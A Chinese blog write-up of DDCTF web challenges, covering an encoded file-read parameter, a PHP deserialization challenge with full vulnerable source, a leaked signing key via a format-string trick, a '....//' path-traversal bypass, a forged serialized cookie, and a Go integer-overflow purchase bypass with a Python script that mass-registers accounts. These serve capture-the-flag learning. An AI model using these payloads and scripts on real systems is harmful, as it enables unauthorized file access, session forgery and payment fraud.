DDCTF | web题解

前言

全程看着大佬思路,进行复现。web小萌新

滴~

访问index.php转16进制,双base64后得到源码

hint:https://blog.csdn.net/FengBanLiuYun/article/details/80913909

  1. 访问http://117.51.150.246/index.php?jpg=TnpBM01qWXhOak0zTkRZNU5qTTJOVEpsTnpRM09EYzBNbVUzTXpjM056QT0=

ZjFhZyFkZGN0Zi5waHA=

解码之后为f1ag!ddctf.php,利用源代码中对config替换方式,将感叹号替换为config.

  1. 访问view-source:http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==解码出源代码如下。

  2. 访问http://117.51.150.246/f1ag!ddctf.php/?uid=

DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

网页源代码显示加载了使用js加载auth()方法,访问查看/js/index.js

发现在请求index.php之后,下一个请求会跟上post请求
http://117.51.158.44/app/Auth.php。burpsuite二次释放抓取该包。

发现为401认证,在ddctf_username尝试弱账户名admin,释放http包。网页显示

您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php

跟进http://117.51.158.44/app/fL2XID2i0Cdh.php,得到源代码。

url:app/Application.php


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

通读代码发现,unserialize,可知考点为对象注入。再看Application的__destruct函数调用sanitizepath方法消毒path,接着进入file_get_contents方法中调用文件!!只要传入存在flag的文件,就能够达到目的。

反序列化成功调用Application __destruct方法需要满足

....

$hash = substr($session,strlen($session)-32);
       $session = substr($session,0,strlen($session)-32);

       if($hash !== md5($this->eancrykey.$session))
....

session_create()方法可知,扣掉的32位,为执行$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);生成的md5

获取eancrykey

这里发现通过session_read()下传参nickname能够获取eancrykey

$data重复赋值,可以通过sprintf获取eancrykey,Demo如下

POST请求nickename=%s,并修改

content-type: Content-Type: application/x-www-form-urlencoded;charset=utf-8

得到eancrykey=’EzblrbNS’

构造文件路径

Application类中,sanitizapth能够轻松对path进行构造绕过
....//config/key.txt

构造序列化语句

O:7:"Session":1:{s:4:"path";s:21:"....//config/flag.txt";}

将以下字符串作为cookie即可得到flag

O%3A7%3A%22Session%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D7392eca99298ec7109e856bb694a808e

image-upload

参考链接:https://xz.aliyun.com/t/2657#toc-13

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg
执行php payload.php 1.jpg

上传成功弹出flag

大吉大利,今晚吃鸡~

点击购买时,抓包

GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
.....
Cookie: user_name=lilidoai000; REVEL_SESSION=dd9c65b7637bd2aab81f20431bf64ac4
Connection: close

存在REVEL_SESSION是为go语言所特有。
GO语言存在整型溢出,所以我们需要判断是哪种类型整型

有符号整数类型
int8 有符号的8位整数,范围 -128127
int16 有符号的16位整数,范围 -3276832767
int32 有符号的32位整数,范围 -21474836482147483647
int64 有符号的64位整数,范围 -92233720368547758089223372036854775807
uint8 无符号8位整数,范围 0255
uint16 无符号16位整数,范围 065535
uint32 无符号32位整数,范围 04294967295
uint64 无符号64位整数,范围 018446744073709551615

猜测支付后端代码:用户存款 - (吃鸡入场券数×入场券价格 ) >= 0
通过整型溢出绕过逻辑判断
尝试ticket_price=9223372036854775807,显示9223372036854776000
元。支付时提示支付失败。
…..
测试是uint32整型溢出,传入ticket_price=4294967296。支付成功。我们得到如下界面。需要写脚本挤掉robots

import requests
import json
for i in range(900,1200):
	#register 
	url_regester='http://117.51.147.155:5050/ctf/api/register?name=oswordxx'+str(i)+'&password=123456789'
	r1=requests.session()
	rep=r1.get(url=url_regester)
	print(url_regester)
	url_login='http://117.51.147.155:5050/ctf/api/login?name=oswordxx'+str(i)+'&password=123456789'
	r2=requests.session()
	r2_rep=r2.get(url=url_login)
	# check login
	if "200" in r2_rep.text:
		# buy ticket
		print("[+]sucessfully login: "+"username=oswordxx"+str(i))
		url_getbill='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
		r3=r2.get(url=url_getbill)
		json3=r3.json()
		json_data=json3["data"]
		# get bill_id
		bill_id=json_data[0]["bill_id"]
		print("[-]bill_id: "+str(bill_id))
		url_spand="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+bill_id
		r4=r2.get(url=url_spand)
		json4=r4.json()
		print(json4)
		# get id and hash_val
		hash_cal=json4['data'][0]['your_ticket']
		id1=json4['data'][0]['your_id']
		#remove_robot
		#http://117.51.147.155:5050/index.html#/main/result
		url_remove='http://117.51.147.155:5050/ctf/api/remove_robot?id='+str(id1)+'&ticket='+str(hash_cal)
		cookies={
			'user_name':'osword','REVEL_SESSION':'11561598e756e3dd21e13814c9bc6056'
		}				
		rmain_rep=requests.get(url=url_remove,cookies=cookies)
		if "200" in rmain_rep.text:
			print(rmain_rep.text)
			print("remove sucessfully")
			continue


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!